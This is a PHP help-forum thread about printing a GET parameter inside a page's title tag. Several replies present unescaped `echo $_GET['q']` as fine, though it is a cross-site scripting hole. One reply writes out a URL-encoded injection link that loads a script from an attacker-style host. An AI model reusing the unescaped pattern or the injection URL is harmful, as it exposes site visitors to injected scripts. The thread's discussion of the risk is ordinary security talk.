New to php and a simple question

[ze1d]

Hi all, I'm new to PHP and still learning,I'm try to send an argument from one page to another using a form (in the first page and using the GET method).Now in the second page I'm trying to make the sent value as a title of the page like this:<title><?php $_GET["q"];?></title>But this isn't working..Can someone help me please :)zeid

[Ingolme]

<?php echo $_GET["q"];?>

[ze1d]

Thank you very much!

[clonetrooper9494]

also, you need to say <?phpecho "<title>" . $_GET['q'] . "</title>"?>or else your title would be: "<?php echo $_GET['q'] ?> - Internet Broswer"

[boen_robot]

also, you need to say <?phpecho "<title>" . $_GET['q'] . "</title>"?>or else your title would be: "<?php echo $_GET['q'] ?> - Internet Broswer"

Bull$hit!PHP staments can be embed anywhere within HTML (or other document types for that matter).

<title><?php echo $_GET["q"];?></title>

Is a perfectly fine structure of a PHP file. Try it yourself if you don't believe me.

[Synook]

Even

<ti<?php echo "tle>{$_GET['q']}</ti"; ?>tle>

Would be fine (though don't know why you would write it that way...)

[Anders Moen]

Well, if you use that, we can do stuff to your site like...stuff lolYou should just put on this instead:<?php echo htmlentities(stripslashes($_GET['q'])); ?>If you don't, we can for example in your URI write this:?q=<a href="http://www.somesite.com">Text</a>That would display like a link to somesite.com. Not good

[justsomeguy]

That wouldn't do anything. You can't put a link inside <title> tags. You might be able to add a Javascript file and then send someone a link to the page but the link is going to look suspicious and the cross-site attack is of limited significance anyway. Would you click on this link?

http://www.site.com/?q=title%3C%2Ftitle%3E%3Cscript+type%3D%22text%2Fjavascript%22+src%3D%22http%3A%2F%2Fwww.hax.com%2Fhack.js%22%3E%3C%2Fscript%3E%3Ctitle%3E

[Anders Moen]

Yes, I know, but it was an examplewe don't know if he will use it in his document or anything later, you know

[Synook]

Well remember the "sammy is my hero" MySpace exploit?http://www.google.com.au/search?q=Sammy+is...lient=firefox-aBut I suppose that needed the JavaScript to be persistent...